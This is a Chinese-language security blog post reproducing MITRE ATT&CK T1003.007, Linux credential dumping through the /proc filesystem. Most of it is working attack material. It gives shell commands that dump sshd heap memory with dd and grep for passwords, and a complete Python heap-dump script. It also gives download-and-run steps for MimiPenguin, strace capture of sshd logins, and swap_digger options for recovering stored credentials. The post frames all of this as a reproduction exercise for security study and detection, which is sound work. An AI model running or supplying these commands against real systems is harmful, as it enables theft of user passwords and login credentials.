ATT&CK框架_操作系统凭据转储:Proc 文件系统

admin 2023年1月11日17:30:54评论28 views字数 3989阅读13分17秒阅读模式

0x01 基础信息

具体信息 详情
ATT&CK编号 T1003-007
所属战术阶段 凭据访问
操作系统 Linux
监测平台 火绒安全、火绒剑、sysmon

0x02 技术原理

proc 文件系统是一个伪文件系统,它为基于 Linux 的操作系统提供了内核数据结构的接口。它通常安装在/proc目录中。攻击者可能会转储进程内存并提取纯文本和散列密码以获取基于 Linux 的系统中的凭据。Proc 文件系统允许以 root 权限运行的进程从其他正在运行的程序中获取实时内存。如果任何程序在内存中存储纯文本或散列密码,攻击者就可以提取这些值进行利用。


0x03 复现环境

工具列表 相关链接
mimipenguin密码抓取工具 https://github.com/huntergregal/mimipenguin
Impost3r窃取linux下各类密码 https://github.com/ph4ntonn/Impost3r
swap_digger凭证检索工具 https://github.com/sevagas/swap_digger
攻击条件 已经获取管理员权限的shell

0x04 复现过程

  • 使用sh本地转储单个进程内存

使用/proc/$PID/mem,其中 $PID 是目标进程 ID,使用 shell 实用程序将进程内存复制到外部文件,以便稍后搜索或泄露。

名称 描述 类型 默认值
输出文件 放置检索结果的路径 path /tmp/T1003.007.bin
脚本路径 生成目标进程的脚本路径 path /tmp/T1003.007.sh
pid_term 用于识别目标进程的唯一字符串 string T1003.007

攻击命令:运行sh!需要提升权限

sh #{script_path}    #执行获取进程的脚本,可以批量获取进程,也可作为单个进程输入
PID=$(pgrep -n -f "#{pid_term}") #获取进程对应pid号
HEAP_MEM=$(grep -E "^[0-9a-f-]* r" /proc/"$PID"/maps | grep heap | cut -d' ' -f 1) #获取进程虚拟空间中堆的虚拟内存区域范围(VMA)
MEM_START=$(echo $((0x$(echo "$HEAP_MEM" | cut -d"-" -f1)))) #分隔VMA起始地址
MEM_STOP=$(echo $((0x$(echo "$HEAP_MEM" | cut -d"-" -f2)))) #分隔VMA结束地址
MEM_SIZE=$(echo $((0x$MEM_STOP-0x$MEM_START))) #计算堆的虚拟内存区域大小
dd if=/proc/"${PID}"/mem of="#{output_file}" ibs=1 skip="$MEM_START" count="$MEM_SIZE" #读取进程pid在内存中的内容,并把虚拟内存区域标准输出为一个文件
grep -i "PASS" "#{output_file}" #忽略字符大小写过滤pass

使用sshd服务进程为例,获取sshd的pid进程号为1154

ATT&CK框架_操作系统凭据转储:Proc 文件系统

获取进程虚拟空间中堆的虚拟内存区域范围(VMA)grep -E "^[0-9a-f-]* r" /proc/1154/maps | grep heap | cut -d' ' -f 1

ATT&CK框架_操作系统凭据转储:Proc 文件系统

读取进程pid在内存中的内容,并将堆的开始和结束存入到一个文件,可以使用shell脚本进行执行,针对输出的文件查找泄露的敏感信息

ATT&CK框架_操作系统凭据转储:Proc 文件系统

使用python(本地)转储单个进程内存

使用/proc/$PID/mem,其中 $PID 是目标进程 ID,使用 Python 脚本将进程的堆内存复制到外部文件,以便稍后搜索或泄露;跟上面采用一样的思路,只不过上面是采用sh实现的,这里是通过python实现的

姓名 描述 类型 默认值
输出文件 放置捕获结果的路径 path /tmp/T1003.007.bin
脚本路径 生成目标进程的脚本路径 path /tmp/T1003.007.sh
python脚本 生成目标进程的脚本路径 path /T1003.007/src/dump_heap.py
pid_term 用于识别目标进程的唯一字符串 string T1003.007

攻击命令如下

PID=$(pgrep -n -f "#{pid_term}")
PYTHON=$(which python || which python3 || which python2)
$PYTHON #{python_script} $PID #{output_file}
grep -i "PASS" "#{output_file}"

python脚本需要依赖python3的环境运行

#!/usr/bin/env python
'''Dump a process's heap space to disk

Usage:
  python dump_proc.py <PID> <filepath>
'''
import argparse


parser = argparse.ArgumentParser(description='Dump a process's heap space to disk')
parser.add_argument('pid', type=int, help='ID of process to dump')
parser.add_argument('filepath', help='A filepath to save output to')
args = parser.parse_args()

process_id = args.pid
output_file = args.filepath

with open("/proc/{}/maps".format(process_id), "r") as maps_file:
  # example: 5566db1a6000-5566db4f0000 rw-p 00000000 00:00 0   [heap]
  heap_line = next(filter(lambda line: "[heap]" in line, maps_file))
  heap_range = heap_line.split(' ')[0]
  mem_start = int(heap_range.split('-')[0], 16)
  mem_stop = int(heap_range.split('-')[1], 16)
  mem_size = mem_stop - mem_start

with open("/proc/{}/mem".format(process_id), "rb") as mem_file:
  mem_file.seek(mem_start, 0)
  heap_mem = mem_file.read(mem_size)

with open(output_file, "wb") as ofile:
  ofile.write(heap_mem)

ATT&CK框架_操作系统凭据转储:Proc 文件系统

使用 MimiPenguin 捕获密码

MimiPenguin 是一个受 MimiKatz 启发的工具,它针对受 CVE-2018-20781(基于 Ubuntu 的发行版和某些版本的 GNOME Keyring)影响的 Linux 系统。在受影响的系统上成功执行后,MimiPenguin 将从内存中检索密码并将其输出到指定文件。

姓名 描述 类型 默认值
输出文件 放置捕获结果的路径 path /tmp/T1003.007Test3.txt
MimiPenguin_位置 MimiPenguin脚本的路径 path /tmp/mimipenguin/mimipenguin_2.0-release/mimipenguin.sh

攻击命令

{MimiPenguin_Location} > #{output_file}
cat #{output_file}

先决条件:MimiPenguin 脚本必须存在于指定位置的磁盘上

wget -O  "/root/mimipenguin.tar.gz"  https://github.com/huntergregal/mimipenguin/releases/download/2.0-release/mimipenguin_2.0-release.tar.gz
mkdir /root/mimipenguin
tar -xzvf "/root/mimipenguin.tar.gz" -C /root/mimipenguin

ATT&CK框架_操作系统凭据转储:Proc 文件系统

可以捕获到gnome桌面的输入密码

ATT&CK框架_操作系统凭据转储:Proc 文件系统

Strace获取登陆凭证

strace是个功能强大的Linux调试分析诊断工具,可用于跟踪程序执行时进程系统调用(system call)和所接收的信号,尤其是针对源码不可读或源码无法再编译的程序。

攻击命令

pgrep -n -f  "sshd"   #查询sshd服务对应的pid号
strace -f -p {sshd-pid} -o #{outfile.txt}  
grep -E 'read(6, ".+\0\0\0\.+"' outfile.txt_location #正则匹配用户密码


ATT&CK框架_操作系统凭据转储:Proc 文件系统

swap_digger 提取各类凭证

swap_digger 是一个 bash 脚本,用于自动执行 Linux 交换分析以用于后期开发或取证目的。它自动交换提取并搜索 Linux 用户凭据、Web 表单凭据、Web 表单电子邮件、HTTP 基本身份验证、WiFi SSID 和密钥等。

攻击命令

swap_digger.sh -p   #恢复Linux使用了的明文密码
swap_digger.sh -a   #获取所有的密码凭证包含WiFi,HTTP表单
swap_digger.sh -S   #查找可利用的交换分区

ATT&CK框架_操作系统凭据转储:Proc 文件系统

0x05 总结

通过上述的实验可以看出,获取Linux的凭证,基本上是抓取其他正在运行的程序的实时内存,如果这些程序中的任何一个在内存中以明文或密码散列形式存储密码,则可以分别收集这些值以用于使用或破解,进而获取Linux的登录凭证。MimiPenguin和swap_digger这两个工具则偏向自动化攻击场景。


原文始发于微信公众号(闪焰安全服务团队):ATT&CK框架_操作系统凭据转储:Proc 文件系统

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月11日17:30:54
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ATT&CK框架_操作系统凭据转储:Proc 文件系统http://cn-sec.com/archives/1513123.html

发表评论

匿名网友 填写信息